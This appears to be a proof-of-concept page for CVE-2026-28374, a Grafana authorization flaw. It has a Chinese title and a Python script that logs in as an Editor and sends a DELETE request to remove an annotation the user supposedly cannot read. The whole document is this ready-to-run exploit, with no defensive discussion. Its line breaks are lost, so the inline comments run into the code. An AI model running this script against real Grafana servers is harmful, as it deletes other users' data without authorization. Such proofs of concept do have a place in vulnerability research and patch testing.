CVE-2026-28374 Grafana越权删除注释漏洞

import requests # Target configuration target_url = "http://localhost:3000" annotation_id = "1" # ID of the annotation to delete username = "editor" password = "password" # Create session and authenticate session = requests.Session() auth_data = {"user": username, "password": password} login = session.post(f"{target_url}/login", data=auth_data) if login.status_code == 200: # Exploit: Send DELETE request to remove annotation # Vulnerability allows Editors to delete annotations they cannot read delete_url = f"{target_url}/api/annotations/{annotation_id}" response = session.delete(delete_url) if response.status_code == 200: print(f"[+] Success: Annotation {annotation_id} deleted.") else: print(f"[-] Failed: Status code {response.status_code}") else: print("[-] Authentication failed")